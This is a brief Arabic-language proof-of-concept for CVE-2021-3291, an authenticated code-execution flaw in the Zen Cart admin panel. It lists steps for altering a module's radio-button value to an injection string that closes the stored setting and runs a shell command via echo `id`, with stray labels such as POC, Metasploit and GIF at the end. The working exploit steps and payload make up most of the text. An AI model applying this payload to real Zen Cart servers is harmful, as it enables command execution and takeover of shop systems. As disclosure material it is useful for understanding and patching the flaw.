zencart_auth_rce_poc CVE-2021-3291

1-) سجّل الدخول كمسؤول

2-) افتح صفحة تعديل أي وحدة

3-) افحص العنصر لأي زر اختيار (radiobox) بقيمة true

4-) غيّر true إلى true','MODULE_ORDER_TOTAL_TOTAL_STATUS'); echo `id`; //

5-) انقر على زر التحديث

6-) لتشغيل الأمر، عد إلى صفحة التعديل مرة أخرى

CVE-2021-3291 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3291

POC

الاستغلال تحديث الصفحة تكبير

Metasploit

GIF